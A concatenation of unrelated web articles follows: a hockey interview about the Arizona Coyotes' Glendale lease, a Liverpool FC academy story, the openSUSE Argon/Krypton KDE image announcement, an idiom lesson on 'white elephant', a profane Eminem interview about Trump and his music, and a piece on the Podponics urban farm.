But with this new lease, and some solidarity between the team and local government, the Coyotes and Glendale could finally nudge forward as a hockey market.
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Will they become Boston or Montreal? Of course not. But stability shouldn’t be so difficult in a city with so many people.
And now, maybe, possibly the team’s sole focus can finally go to growing the team and not just simply survival.
“We have owners who own the Arizona Coyotes franchise, and they’re driving,” Daly said. “We’re certainly there to support their vision in the market.”
We talked to Coyotes CEO Anthony LeBlanc about the Coyotes. Their future in the desert – either in Glendale or maybe Phoenix – and how he sees the team moving forward, now that the lease stuff is behind them for at least two years.
Q: With all the issues you’ve had with the City of Glendale, can it indeed work there?
LeBlanc: It’s been a difficult summer. It was a tough summer. We’re through it. We’re past it.
I think we’ve come through this fine. There’s the mending of the relationship that needs to happen, but that began on the day of the vote a couple of weeks ago. I do think it works here, but look, it’s only a two-year deal. It would be foolish for us to not listen to expressions of interest of other potential spots in the Valley, but we do believe in Glendale. We always have. We think it’s a tremendous hockey arena. This is a great development. The Westgate development, most people don’t understand unless you’ve been here. It’s a little bit of a drive outside of Scottsdale or Phoenix, but it’s not to the level people think it is. I made a joke yesterday (at an event at Arizona State) that the arena is not on Pluto. It took me 20 minutes to drive from my office in the arena to Arizona State, which is on the other end of the Valley in Tempe. We’re in Glendale. It’s not that far.
People always talk about North Scottsdale and the wealth of North Scottsdale, there’s really no difference in the drive to Glendale vs. downtown Phoenix. It’s just a perception. I’ve said this all along that people look for excuses to not go when the team is not playing particularly well. I experienced this in Ottawa. My house was in downtown Ottawa. There were nights when that drive from downtown Ottawa to the Corel Centre, that drive felt like it took three hours on certain nights when the team wasn’t playing particularly well.
But it zipped by when I was going to playoff games.
Our issues, I really don’t think are geography. It affects us more when we have a season like last season. But when this team plays well, look at that four years ago when the team went to the Western Conference Final. You couldn’t get a seat in the building in the playoffs. Nobody had a problem driving out to Glendale. It’s fodder, it’s stuff people talk about and it is what it is.
Now that you have that lease squared away, how can this joint partnership with Glendale finally allow you to make this team a more viable business?
One of the things I noticed when I was at the council chambers two weeks ago was it was a unanimous vote to approve the lease. That’s the first time in years of either it was our group owning the team or the Jamison group or the Hulsizer group, there was never a unanimous vote in support. It was no different than when our (lease) vote was approved two years ago, it was a 4-3 vote. So there was contention. There was politics involved. There were factions that were against it. The fact we have unanimous support from Glendale City Council is a big deal for us. I felt there was a palatable difference in the mood in the chambers. It was almost a sense of relief and a sense of rebirth. Who knows what the future is going to bring. But we can at least sit down and talk as partners and talk in a much more congenial fashion than we were doing in the past. It was always very adversarial in the past. That doesn’t seem to be there. I can’t sit here and predict what the future is going to bring. I feel we have a group who wants to talk to us and make it work here. But we steadfastly believe in this. Arizona is a terrific hockey market. We hope it’s in Glendale, but we do feel that if it isn’t in Glendale, it’s definitely in the greater Valley.
In this photo taken Wednesday, June 10, 2015, Arizona Coyotes attorney Nicholas Wood, left and team president Anthony LeBlanc, center, speak of legal action against the city of Glendale, Ariz. as they speak with the media after the city council voted to back out of an arena leasae agreement with the NHL team during a special council meeting. (David Kadlubowski/The Arizona Republic via AP) MARICOPA COUNTY OUT; MAGS OUT; NO SALES; MANDATORY CREDIT
When the Coyotes are good, it seems like there is definitely a thirst for hockey in the area, in spite of all the issues you’ve had in the market...
First off, it’s a thirst for sports. I think if you look at every pro team, so obviously the first pro team with the Suns and then I think the next would have been the Cardinals and the Diamondbacks and then us coming down. Each one of the teams have very similar and continue to have very similar … some people would say challenges, but we think it’s opportunity. If you go to a Cardinals game if they’re playing San Francisco or Green Bay or Dallas and the same thing with the Suns, if they’re playing the Lakers or the Diamondbacks or playing the Dodgers, you’ll get a lot of people in the opposing team’s jersey, but from our perspective, do we prefer the building to be full of everyone being a Coyotes fan? Of course we do, but we also understand that there are a number of people … this is a transient market. This is a market that a lot of people, we constantly joke that when you meet someone who is a born and bred Phoenician, you go ‘Oh, you’re the one’ because with most people, that’s just not the case. You have a lot of transplants from Chicago and the Midwest and you have people from Western Canada.
We don’t have a problem when the Blackhawks are here and you’re in the building and you’re in your Blackhawks jersey, because we expect when the Blackhawks go home, you’ll show up and be in your Coyotes jersey at the next game. We think it’s a very good thing. I’ve experienced this on the other side as a fan. For a number of years I had a house in South Florida. I got right into the Panthers but when the Senators came to town I was cheering for the Senators. That was the only time of the year I wouldn’t cheer for the Panthers. They became my second-favorite team. We know that’s the way you build a fanbase in a non-traditional market. People understand the sport and are aligned to a team.
The interesting aspect for us is, and I think this is what’s happened with the Cardinals, the Suns and the Diamondbacks is their father may not cheer for those teams as a primary but their kids will. One of the interesting things we’ll be doing this year for example, it’s a little thing but it shows how we’re trying to change the perspective. If a father or a mother shows up to a game with their kids in another team’s jersey, we’ll exchange that jersey for free so the kid can get a Coyotes jersey. So we’re putting the pressure on the parent.
You may support the Sabres, but Johnny supports the Coyotes. Why don’t you ditch that Sabres jersey to get a Coyotes jersey? That’s really he focus. When you look at hockey markets that have been very successful in non-traditional markets like San Jose and Dallas, they really focus on youth and in particular youth hockey.
You don’t have to look any further than the expected No. 1 pick in next year’s NHL Draft being a Scottsdale kid. Auston Matthews played his hockey at the Ice Den and became a hockey player because his uncle took him to a Coyotes game.
He was a baseball player and like most hockey players is an all-around excellent athlete. But when he saw hockey live, he was like ‘I have to try this’ and this is a kid who is the expected No. 1 pick in next year’s draft. It’s phenomenal when you think about the impact. We certainly take a lot of the credit, and I think it’s well-deserved, for the growth of the game here, but it really … it’s pretty fascinating when you see the impact of an expected No. 1 draft pick.
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How can Phoenix’s sporting culture make someone like Auston Matthews possible?
The difference with this market, especially people who aren’t familiar with our market, they don’t understand how big of a city this is. The region and the greater Phoenix Metro Area is like the 10th or 11th biggest metro in the United States. This is a very big metro, which is different than a Nashville or Ottawa, where I spent 20 years, which are relatively small compared to an area like Phoenix.
There’s just a lot more opportunities here. And this really is, one of the things we’ve heard over the last number of years and unfortunately it came up over the last couple of months with the situation we had with the City of Glendale, was a pride around the fact that this is a four major league team city. It’s a sense of civic pride here people have, and it’s important.
I’ve heard from the Mayor of Phoenix, Greg Stanton, from his perspective it’s very important the Coyotes, Diamondbacks, Cardinals and the Suns are all here because there’s only a handful of cities in North America that have the ability to have four major teams.
It’s a very active community for one thing. Besides the four major sports, we’re also stops on NASCAR, we’re on the PGA Tour. There’s 15 professional baseball teams that do their spring training here. We have Arizona State in Tempe. We have the University of Arizona down the road in Tucson. This is a sports-centric culture. A lot of it has to do with the fact that this is really the only month of the year you don’t want to be outside. From a hockey perspective there has been a real growth of ice facilities in the region and that’s something we’re focusing on as a real growth plan is one of the things we talked to ASU about. This is the beginning of a partnership, but what does the future bring? If they’re looking to build a specific hockey arena for the Sun Devils that may hold 5-6,000 people, it’s a great opportunity for us to get involved and maybe add a couple of additional pads of ice.
The ice rinks here are like ice rinks in Canada. They’re just packed morning, noon and night. I walked in with one of my employees this morning and he said he was playing hockey last night at 1 a.m. at the Ice Den because that was their ice time. I think it’s a very athletic, very active market and I think that certainly helps with development of players.
You said people don’t quite understand the Phoenix market? How do you think that has that played a role in some of the coverage of your rift with the City of Glendale?
I think a lot of that coverage so to speak, and I can speak freely as a Canadian, because look, before I got involved with the Coyotes, I didn’t understand the importance of this market. I didn’t understand there’s an awful lot of hockey fans here and people don’t appreciate that.
Throughout the majority of the hockey season, so the winter months here, there’s half a million people here just from Alberta and British Columbia alone. Then when you add the Northern states like Minnesota and Illinois, I mean probably half of this market if not more came from Northern states, and completely understand the game. The issue the Coyotes have had which is no different from non-Toronto, non-New York markets is the team hasn’t played the way they need to in order to get the fans behind them. And the times they did, prior to our taking over, there was unfortunately circumstances surrounding the club like the bankruptcy, so this team went to the Western Conference Final four years ago. But there was still uncercainty as to whether the team was going to be there next year.
Ten or 15 years ago Chicago was averaging 4-5,000 people per game. Now they fill a 22,000 seat building because they’re a good hockey team. We understand that in a market like Phoenix we’re no different than the Suns or the Diamondbacks. The Cardinals are a little bit different because the NFL is an entity of its own. The Suns and the Diamondbacks understand that they have to be competitive because there’s so much competition for your leisure time down here. Do you want to sit in a hockey arena for a team that’s 29th in the league, or do you want to go golfing? Or do you want to go hiking the mountains or go to a NASCAR race. We understand that. And what’s been interesting and been able to fly under the radar is some of the work (general manager) Don Maloney and his staff has been able to do the last couple of years. We were terrible last year. We know that. We’re going to be a lot better this year, but look at the prospect group coming up. I mean, I talked to other presidents and CEOs in the league. They are so envious of what we’ve been able to recruit. Max Domi, Anthony Duclair. Christian Dvorak, getting Dylan Strome. This is going to be an exciting hockey team. We know that’s what we need to do to get the fanbase, ultimately is to provide the stability we’re providing from an ownership perspective. We’ve temporarily fixed the situation with Glendale. I’m not concerned about that long-term. Now we just have to provide a good winning product.
GLENDALE, AZ - APRIL 11: The Arizona Coyotes salute the fans following the NHL game against the Anaheim Ducks at Gila River Arena on April 11, 2015 in Glendale, Arizona. The Ducks defeated the Coyotes 2-1. (Photo by Christian Petersen/Getty Images)
How much did the league’s support enable you to feel stable in the Arizona market at times when it seemed as if there was no stability?
A lot of people I think don’t understand what the league has done to keep teams in certain markets. There’s no question this team is not here if it wasn’t for Gary Bettman, Bill Daly and David Zimmerman – guys at the league doing what they needed to do to fight to keep the team here. There’s no question. But we’re not the only market that’s experienced that.
I spent a lot of time in my northern residence in Ottawa. I was there for over 20 years. People forget the Senators would have been gone if it wasn’t for the league intervening. The Sabres would have been gone if it wasn’t for the league intervening.
They know what’s best for the market, and that’s to retain franchises. There’s times like Atlanta when they moved to Winnipeg, they tried their best. Unfortunately Atlanta didn’t have an ownership group interested in keeping the team there. What happened here is Gary and Bill knew there were groups interested in buying the Coyotes and keeping the Coyotes here. The struggle was getting the appropriate arrangement with the City of Glendale, but the league believed in this market, just like they believed in the past in other markets and look at them flourishing now. Look at the Sabres. What a better example than Pittsburgh? You had a group that wanted to buy that team and relocate it. Look at them now. It shows the league stands behind their franchises almost to a point where people think it’s a fault and I think we’re going to, and I feel strongly about this, we’re going to be one of the franchises, in 3-5 years down the road that people look at and go, ‘Wow, it’s hard to believe we didn’t think that team was going to be successful.’
We think all the ingredients are there. We’ll never be the Rangers. We’ll never be the Maple Leafs, but I think we have the ability in this market in this building with the team coming up to be at least a middle of the pack team when it comes to overall revenues and those areas. I do think this has potential down the road to be a championship team.
The retired player community seems to also play a role in players wanting to come to Arizona. They love to stay in the Phoenix area.
Mike Modano never played for the Coyotes, yet he’s retired here. I was having dinner with Coach (Dave) Tippett and then all of a sudden there’s Modano sitting with us.
Look at the lockout year. They had 40-50 players including Sidney Crosby skating at the Ice Den. It took me a couple of months of living here to stop pinching myself and feeling guilty that I was living in paradise.
There’s no question July, August and September are difficult. It’s kind of the inverse of Canada. You couldn’t go outside in Canada in the winter because it’s so bloody cold, and here, yesterday was 115 degrees. It’s a little warm in the summer. But nine months out of the year, this place is absolute paradise. There’s no place in North America you want to be more than this place, and for the retired players, most live in North Scottsdale.
Players love it, and most importantly their wives and their children love it. Shane Doan, I don’t think you could pull that guy out of here with a crane.
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Josh Cooper is an editor for Puck Daddy on Yahoo Sports. Have a tip? Email him at puckdaddyblog@yahoo.com or follow him on Twitter!
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Just five miles divide Liverpool FC’s historic Melwood training ground from their Kirkby Youth Academy – or a brief 14 minute drive according to an AA route finder.
But for youngsters aspiring to emulate their first team idols they are worlds apart.
Now Liverpool are investigating plans to bring the club’s youth players back under the same roof as the senior stars – hoping that the proximity of the first team players would act as an inspiration.
Plans have only reached the feasibility study stage at present, but the switch has the firm backing of boss Brendan Rodgers.
In pictures: Melwood memories
Managing director Ian Ayre, speaking at a Liverpool Business Week breakfast with Blues chief executive Robert Elstone, revealed: “Brendan has said recently he wishes he could see more of the Academy than he does and that being between two sites isn’t ideal.
“It is something we have looked at in the past but for every decision like that it comes back to finding the right economic model.
“But it’s something we’re actually doing a piece of work on at the moment, another sort of feasibility study if you like, because one of the great things they have at Finch Farm which we currently don’t have is a situation where you have those young players coming in in the morning, seeing Steven Gerrard turning right while they turn left and hoping one day that they take the same route.
“We make it work – and it is working – but there is definitely more value in having everyone together. And if we can find a solution to that it is absolutely something we would do.”
Liverpool decided to split their training operation in 1998, when a new training Academy in Kirkby was unveiled.
A couple of years later Melwood underwent a dramatic redesign and refurbishment.
The Liverpool Academy has continued to produce first team players – seven made the step up from the Youth Academy to the first team last season – but the Reds hope that if they can bring the two centres together more youngsters may be inspired by the example of senior stars like Gerrard and recently retired Jamie Carragher.
“We had seven players from our Academy making their debuts for the first team last year,” added Ayre. “It’s always going to be a challenge – it’s the Premier League, it’s the top league in the world, and so you’re trying to find one of 20 or so players for the first team and that’s much more difficult.
“And because of the influx of international talent that just makes making that grade that much harder, but you do have to keep plugging away at it.
“I think what you see more now at Everton and Liverpool and other Academies is that you’re bringing players in, probably a bit later at 14 or 15 – Raheem would be a great example from QPR – and turning into the player that he is now who plays for the first team on Saturday.
“You have to get that mix because I don’t think you would achieve what you’re trying to do otherwise.
“You’re making a smaller, cheaper investment in a player at 15 in order to get somebody you might pay whatever the price would be today.
“We’re pleased with our progress.
“But Brendan has said many times we will try to improve our own scouting locally more than anywhere because we recognise what local people like Jamie Carragher and Steven Gerrard bring.
“It brings more than just another player. It brings more not just for the club but for the city I think.
“But I think the best test for that is that there aren’t many players who have played in the Premier League that are from Liverpool or Merseyside who haven’t played for one of our two clubs.
Our fathers who started Melwood
Melwood training ground has been home to Liverpool’s first team players since the 1950s.
The ground was named after two priests – Father Melling and Father Woodlock – who administered the ground for its previous owners, St Francis Xavier school.
Melwood was in a poor condition in 1959 when Bill Shankly was appointed manager – but he helped transform the facility into an iconic training ground.
Players would meet and change for training at Anfield and then board the team bus for the short trip to Melwood. After training, they would bus back to Anfield to shower and change and eat.
In January 2001 Liverpool started work on the Millennium Pavilion, a modern facility for players and coaches, designed in part and heavily influenced by then manager Gérard Houllier.
15 years of developing at Kirkby
Liverpool's Kirkby Academy opened its doors for the first time in 1998.
Its mission purpose was to “provide a more |
rock libertarian principles. This is a first for a major party leader in Canada, and a rarity (one could argue) in the western world; at least since the classical liberals of the 19th century.
Bernier, is proud of his libertarian bona fides, and it is clear, he will either lead the CPC (and hopefully Canada) as a libertarian, or die on that hill.
* Alan Forsythe is a Vancouver-based journalist.Gravitational waves might be the cause of two new live image, spin off projects released today by members of the openSUSE community.
The release of Argon, which is a live installable image based on openSUSE Leap, and Krypton, which is a live installable image based on openSUSE Tumbleweed, offer packages built for KDE Git using stable and tested openSUSE technologies to track the latest development state of KDE software.
Users have a choice on how they get up-to-date packages of Qt and other additional cutting-edge offerings from KDE through the Argon and Krypton live installable images, built directly from the latest sources in KDE git through the Open Build Service.
Argon and Krypton can be either used as live images, without changing an already installed system, or they can be installed, providing a full-stack KDE software environment.
This will allow developers, early testers and enthusiast adopters to experience the latest happenings in KDE software development, while at the same time being able to report bugs and improve the software before a stable release lands.
openSUSE’s Argon and Krypton become the first to offer a continuous stream of KDE software updates by putting the Git builds in the hands of users the way KDE intends it.
openSUSE has an extensive experience in providing almost-daily Git snapshots of KDE software: the Unstable OBS repositories have been running without issues for several years.
Thanks to this expertise, creating Argon and Krypton from Git snapshot is a rather simple endeavor, facilitated by the infrastructure provided by the openSUSE Project.
There are three KDE repositories used for Argon and Krypton, which can be found on the Wiki. They are:
KDE:Unstable:Frameworks
KDE:Unstable:Applications
KDE:Unstable:Extra.
Packages are directly based on the Git repositories and not on any alpha, beta tarballs. These packages are refreshed at least daily.
http://download.opensuse.org/repositories/KDE:/Medias/images/iso/
The below build numbers will change based on rebuilds.
http://download.opensuse.org/repositories/KDE:/Medias/images/iso/openSUSE_Argon.x86_64-5.5.90-Build14.2.iso
http://download.opensuse.org/repositories/KDE:/Medias/images/iso/
The below build numbers will change based on rebuilds.
http://download.opensuse.org/repositories/KDE:/Medias/images/iso/openSUSE_Krypton.i686-5.5.90-Build22.2.iso
http://download.opensuse.org/repositories/KDE:/Medias/images/iso/openSUSE_Krypton.x86_64-5.5.90-Build22.2.iso
GNOME Next
GNOME – Next, which is similar but different than Argon and Krypton, is based on tarballs. GNOME – Next is from the unstable branch of GNOME, currently 3.19.x, but will soon be 3.21.x. For that repo to work, occasionally it reaches beyond GNOME packages with libinput and various hardware libraries to build.
http://download.opensuse.org/repositories/GNOME:/Medias/images/iso/?P=GNOME_Next*
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No tags available Category: DistributionIf you read the political or business pages of English language newspapers, you may come across the idiomatic phrase white elephant. This term is often used as an insult aimed at expensive government projects that are rarely used such as football stadiums or airports. If you learn the story of its etymology, you’ll never forget this noun phrase.
The tale goes back to 19th century Thailand, or Siam as it was called then.
When the King of Siam decided he didn’t like one of his courtiers, he would give her or him a gift. Instead of giving something useful like food or clothing, the king would give his servant a white elephant. This may seem like an elaborate present for someone you don’t like, but this is where the plan gets clever. Because the royal family in Thailand was (and still is) so revered, the courtier had no choice but to accept the gift and pay for its upkeep. Unsurprisingly, the cost of maintaining an elephant was high, thus such a gift would financially ruin most courtiers.
These days, white elephants are expensive objects that are rarely used. After the 2014 World Cup in Brazil, many of the stadiums lie unused, causing critics to label them white elephants. This same label has been used insultingly to describe the Korean government’s new KF-X fighter jet project. It doesn’t always end up badly for white elephants, though. When the Millenium Dome was built in London, many people feared it would become a white elephant, but it is now a successful sports and music venue called the O2 Arena.
Can any of you make sentences using the phrase white elephants? If so, comment below!On the heels of the release of his latest album 'Revival,' Eminem sits down for an honest discussion on his place in hip-hop today. From his beef with Donald Trump and criticism from rappers like Vince Staples to how Jay Z's'4:44'inspired him and why he'll never be able to top the success of 'The Marshall Mathers LP,' the Detroit rap god pulls no punches.
This interview has been edited for clarity and length.
Image via Complex Original / Photography by Timothy Saccenti
Complex: On the album cover, you seem a little disappointed in the country. Is that an accurate portrayal?
Eminem: I would say that's probably an accurate portrayal, but I do feel like we live in the greatest country in the world, but I know that we've got a lot of shit to work on.
What are some things that, in general, bother you about America right now?
Obviously Trump. I'm not sure how to answer. This is what happens when I start talking about Trump: I get too flustered in my head and the shit that I want to say; there's too many things I want to say at once, so sometimes I start talking and I'm not able to convey the message the right way, because I just get flustered and frustrated with all the things I want to say. I actually had to turn the news off a couple of weeks ago, because I always start coming to the studio and start talking to people about it and be like, "Oh, shit. I just wasted two hours. I gotta get shit done." There are just too many things, man.
The songs that you created about Trump and about race relations in this country; are you concerned with how they're received by the public?
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In a sense I am. I definitely want to reach people and hopefully be able to make people think. I feel like between the song by Joyner Lucas and the “Untouchable” song, maybe we could get some ears and get people's attention and make them think—the ones who are not woke yet, I guess, to what the fuck is going on.
There are two sides in this country that are very polarized and they …
We can talk about the division that [Trump’s] got our country in. Part of me feels like it's almost single-handedly what he's done and to the extent that he knows he's doing it. He obviously sees the division that he's got our country in. You're on one side or you're on the other side. His side is growing smaller and smaller, I feel like by the day, because I do believe people are waking up to what the fuck is going on, which is basically that he's done nothing… Damn, I forgot what the hell I was saying. What the fuck was I just saying?
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If you are listening to [Trump] and you're not willing to read or fact check, you might just tend to just believe what he says, because he's living in an alternate reality and he bends it to whatever suits him the best.
That people are waking up to what Trump's done…
Yeah, his core is shrinking and it's interesting. I'll probably [lose my train of thought] 10 times if we're talking about Trump, because there's too much I want to say, but it's almost like... It's so bizarre watching him play to his base that thinks that he cares about them and it's actually the people that he cares about the fucking least. If you're talking about his core being a majority white middle class people, what I don't understand is how in the fuck do you feel like you relate to a billionaire who has never known struggle his entire fucking life? Who dodged the draft because he had bone spurs in his fucking foot? You feel like this is the guy that's gonna fight for you? He's already proven with the tax break that he's not. That's not benefiting the middle class. I will say this, he talks a good one.
There's part of me that understands he's somehow still got them, because he's brainwashing them into thinking that something great is gonna happen. Nothing is happening. If you are listening to him and you're not willing to read or fact check, you might just tend to just believe what he says, because he's living in an alternate reality and he bends it to whatever suits him the best.
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Image via Complex Original / Photography by Timothy Saccenti
Let's talk about “Walk on Water.” One of the things that stood out to me when I heard the song was the way your voice sounded when you recorded it. It sounded very intimate and very clear. Could you speak about how you recorded it?
Well, I think one of the things that makes the vocals come out so clear is it's a pretty bare track. It's just piano, really, and Skylar [Grey] sent me that and I thought it was like... The chorus, as soon as I heard it, I felt like this is exactly what I'm feeling right now, so that was one of the things about it that struck me. We had debated on should we put a beat in there? Should we put drums in there? After I recorded it, I played it for Rick [Rubin] and then we had discussed it. We were both like, “Nah, we should just leave it like this so you can understand, hear everything and maybe hopefully get it the first time you hear it.”
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Also on that record, you're talking about grappling with the criticism that gets levied your way both from fans and peers. Where do you get most of the criticism? How do you receive it? On Twitter? On YouTube?
I see things. I don't have time to sit on Twitter all day, or read everything, but I do see things and I see enough. I'm probably a lot more in tune than people actually might want to think I am, but I see enough. I don't know, that song was more about just self-doubt, insecurities, that kind of shit. I've never really seen myself as, how can I say… The way I've seen some fans act towards me. Even to this day, I've been in this game a long time and it's still weird to me, because I just rap and I certainly haven't had a perfect career. I've put out some not-so-great albums and I realize that. Part of me feels like, I've felt this way since I did it, but part of me feels like I'm forever chasing The Marshall Mathers LP, because I do feel like probably the majority of people who listen to my music probably feel like that's my best album.
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I recognize it and when I say my best album, I don't know if I had even made my best songs yet, because “Lose Yourself” came later and some other things. As a body of work, I feel like [The Marshall Mathers LP] may be because of the time period and it captured a moment. Maybe it was like a snapshot of that time period, but I also had a lot of rage issues back then, but there's a constant tug of war with me inside my head that [grapples with] how am I supposed to be?
I certainly haven't had a perfect career. I've put out some not-so-great albums and I realize that... Part of me feels like I'm forever chasing The Marshall Mathers LP, because I do feel like the majority of people who listen to my music probably feel like that's my best album.
When I hear people say they miss the old Eminem and then I do the old Eminem, people go, "Oh, man, he's too old to do that. He needs to mature his content. He's growing up as a man. He's in his 40s and he's supposed to be this way or that way." You know what I'm saying? "He needs to mature." Then when I do that, then people go back to, "I miss old Eminem." I'm in this constant struggle, this constant tug of war in my head. There's really no way to please everybody, there's just not, so I just kind of go with my gut, I guess, and what I feel.
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Is it strange to get criticism from rappers publicly; like Vince Staples for example…
The reason I don't trip off that is because I feel like regardless of whether you rap or you don't, or you're in the game or you're not, I feel like everybody's entitled to their opinion. I don't really trip off people critiquing what I do. In some cases, I feel like there are peers that don't really listen to my music anyways and they're not fans, so I'm not making my music for them. I'm making my music for me first, obviously, so I can be happy with something. At the same time, try to give the people that do appreciate my music, give them something to listen to basically and try to meet whatever expectations are placed. I figured it out a long time ago. It doesn't matter what I do, what I say, what album I come with, it just doesn't matter because…
At what point did you figure that out?
Daily, I've come to that realization, pretty much, right? I figured it out a long time ago. It's not that it doesn't bother me, because sometimes it's like, really? Really? I hear somebody critique something that I do, that probably doesn't understand what I do. It would have to be a certain song, I'd have to give you an example, but I think that there's still a lot of people that don't understand compound syllable rhyming and being able to take entire sentences and make them rhyme and stuff like that. They might not hear that, so they're not gonna be able to appreciate that, because they hear what they hear and then, "Ah, man. That shit is wack." Okay, but maybe you don't understand what I'm doing.
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I feel like one of the things that's happened to me over the years is rapping getting harder, but rhyming gets easier, if that makes any sense. One of my drawbacks I feel like that I did on the last album, The Marshall Mathers LP 2, was long verses, because I couldn't get the rhyme to end. In other words, when I think of a couple phrases or whatever it is, I think of so much shit that rhymes with it and connecting the syllables and doing all that, but by the time it's all said and done, is this different than anything I've done before? I've done a song like this, so now I don't like it because it may not be talking about anything. It may be just connecting words together and just to get a reaction, but it's not really that good. I don't know.
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One of the things I feel like this generation of rappers established and rappers that are coming up—one of the things I think that it's important that they take from people like me [and] Jay Z, is that they should look to that and think in the mindframe of, I could not just have… like hip-hop when it first started out, it was almost like you were lucky to get a five-year run. You were really lucky to get a 10-year run. It's been around for a long time, but I don't know if it's been around long enough to see how long someone can actually go for.
I look to Jay for a lot of shit. I look to Jay for where he's at in life and I look for 4:44, the punchlines. I'm listening to music in a way that most people probably aren't. I'm looking, just like they might be looking for a different thing. They might be looking for a feel, or whatever it is, I'm looking for the sharpness and I'm looking for the punchlines. He's got a lot of funny punchlines on that shit. To me it's like, Jay is a good guy because he's a guide for... It's almost like he can see what's going on in hip-hop. He's very in tune with the times and then he does something his own way, and then other people follow it. That's amazing to me, so I've always looked up to Jay for that.
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There's no time limit on this thing now. I think that we still don't know how long somebody can actually go for. I feel like as long as I'm passionate about it... I had this conversation with Busta Rhymes where I was like, "What do you do when you get to a certain age, but you feel like you haven't lost it?"
I feel like one of the things I'm very aware of and I think pretty in tune with, is I know that with me, the rage isn't there. I don't have the rage I did when I first came up. I was just coming out of my situation in life, so I was salty about a lot of shit and had a lot of rage and just said whatever was on my mind, but I don't know if I was as able to be as technical as I am now. I don't know if that's better or worse, I just know that rhyming gets easier because I think of more shit to rhyme with shit and I could keep it going probably, almost would seem like infinitely, just because…
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Well, it's a skill you've been honing for decades upon decades.
Yeah, I've been doing this for a long time, but it doesn't necessarily mean that the songs are better.
Image via Complex Original / Photography by Timothy Saccenti
What is success to you?
To me, success is getting the ear of people, and to me success is when I'm able to perform a show, perform at a show and look in the crowd and you see pretty much every ethnicity there is. That to me is super-powerful, because I'm not the only one who can do that. Music, I feel like it brings people together. I don't know if there's anything that brings people together like music and sports.
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Do you ever see yourself going beyond rap, being more of a public figure and speaking about the issues that you rap about on songs?
I don't know if I would go that far. One of the reasons being, I feel like even in interviews and everything, I don't word shit always the right way. I feel like, but when I do, hopefully people know that if that came out wrong and I said that wrong, my heart is still in the right place. I'm just not able to articulate it. Sometimes, I need to put it in a rhyme form and that's how I'm able to articulate it better. Sometimes, like I said, I get flustered with the shit that's going on with the Trump shit. I get too wrapped up in it. I don't know if I've ever been this kind of wrapped up in it. This is probably the most I've been this wrapped up in it, you know? I know that following the last election with Obama and watching how we went from that, that's where we ended up during the Obama era, felt like, man, I feel like we're taking strides forward. This is fucking incredible.
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Then we get this guy in office and it's literally like watching our country take as many steps we took forward, we're taking them right backwards. That's the thing that gets me frustrated so much, because I mean... I don't know. Anything that I say about Trump on this album I don't think is anything that he doesn't already know about himself, but hopefully, maybe I can get the attention of people that may be on the fence. Like I said, it seems like his base is growing smaller and smaller every day, which he is only the President of, is his base, because it's what he cares about. It's the only thing that he cares about, but he actually doesn't care about them, so it's this weird fucking dynamic because he really doesn't give a shit.
Does that make it harder to write these songs? The fact that you're so wrapped up in it?
Not necessarily, because writing a rhyme, I would watch TV for 15 minutes while I eat lunch or some shit, and think of fucking 20 to 30 ideas or punchlines or whatever. I don't know, for some reason I'm able to, like I said, articulate that better when it's in a rhyme form.
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Image via Complex Original / Photography by Timothy Saccenti
Are you hopeful?
Hopeful, but doubtful. If that makes any sense.
The BET Hip-Hop Awards freestyle started a conversation between two groups of people who don’t want to have a conversation. Some black people were like, "Oh, this is great. Finally, a fairly very popular white artist has said what we've been asking them to say for a long time,” and then there are white people in the country who were like, "This is bullshit."
I will say this, I don't want little Johnny in fucking Alabama or wherever, bumping my shit in his fucking Klan hood. You know what I'm saying? I think that that's where I'm trying to make myself clear, is in that sense.
That’s very clear.
It's disgusting that our country has so much potential and, like I said, I feel like it's the best country in the world, but we got shit we need to work on and we can't fucking try to turn a blind eye when someone's trying to tell you something. Like, Yo, this shit is going on and nobody's saying anything. Like the NFL protests, the anthem. When you've got players that are saying—the black players in particular—saying, "We don't mean any disrespect to the military. We love our country. We just want you to hear our voice and hear what's going on in some of the neighborhoods that we came from. We want you to hear this." Then people start going, "Oh it's sports, it's sports. We don't want politics mixed with sports." Fuck off. First of all, politics have always been mixed with sports. Shit's always been intertwined, but the fact that when someone's trying to tell you something they're not trying to be disrespectful. "With all due respect, please hear our voice when we're trying to tell you this."
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Then you got the people who think, "You made it. You got money. You got money, so you should turn your fucking back." What is that? That's when you're supposed to stand up the most is when you have your platform. Most of these guys who are protesting are pillars in their communities and donating money, you know what I'm saying? Always trying to do good. All we're asking you to do is listen. Point being, this motherfucker, Trump, keeps trying to change the narrative. It's also what nobody understands. It's like, this is a fucking smokescreen so that you look over here and you don't pay attention to what I'm not doing. There were good people on both sides in Charlottesville? So the people with the fucking tiki torches were fine people, but the NFL players are sons of bitches?
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I don't know, man. I can't fit it all into my brain what I want to say. I know that if he answers me back, I have ideas. I know that much. There's a lot of punchlines and a lot of things I have, I'm just waiting for him to fucking say something, because that'll be fun for me.
VIDEO: Production: Hardware Agency / Director of Photography: Brandon Riley / Gaffer: Brian Dailey / Movi/Drone Op: Marcel Morin / DIT: Jim Petersen / Sound: Chris Parker / Locations: Kevin McGrail and Tom Lounsbury / Music Composer: Greg Borodulin / PHOTO: Photography: Timothy Saccenti / Styling: Dawn Boonyachlito / Stylist Assistant: Angela McBride / Grooming: Michelle / Clothing: Jacket by Saint Laurent, T-Shirt by GoodLife, Jeans by All Saints, Belt by Burberry, Shoes by Nike x Off White, Audemares Piquet WatchThe six containers, or "pods," represent a trial-and-error process through which Podponics found their way to a cost-effective means of production. They're still iterating toward a better way to enter the boxes without disrupting the interior environment. For now, Backhaus pulls open the door they same way a dock worker would, and we stand in an aisle between floor-to-ceiling rows of lettuce, growing through holes in white PVC pipe. The hydroponic lights illuminate the greens like a food styling set.
When Podponics began, they established a farmer's market on the site for selling their yield, but the city cracked down on the ad hoc arrangement so Backhaus and Liotta cultivated more direct relationships with restaurants. They now sell through a local distributor who specializes in farm-to-table products, as well as through SYSCO's specialty produce division, FreshPoint.
As urban farming outfits go, Podponics is exceptionally focused on business viability and growth. They characterize themselves as a triple-bottom line company (people, planet, profit), and indeed the social and environmental benefits of their company are clear, but it's the profit piece that makes them quite unique. I traveled the country last year researching urban agriculture for my forthcoming book, and never encountered a farm that had such a global vision for a company that is all about local production. But the Podponics model aims to be just that--a modular system that could be installed anywhere, from Atlanta to Abu Dhabi. They call it a "local everywhere" approach.
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So far their business sense has paid off, and they are in the process of moving PodPonics to a new site across town. After raising $750,000 in seed funding earlier this year, they took over an eight-acre former subdivision site at the edge of the Atlanta International Airport. The city condemned the area after the airport expanded their runways, and the land lay dormant for 30 years. Backhaus drove us over to check out the farm-in-progress, which currently looks like a massive construction site.
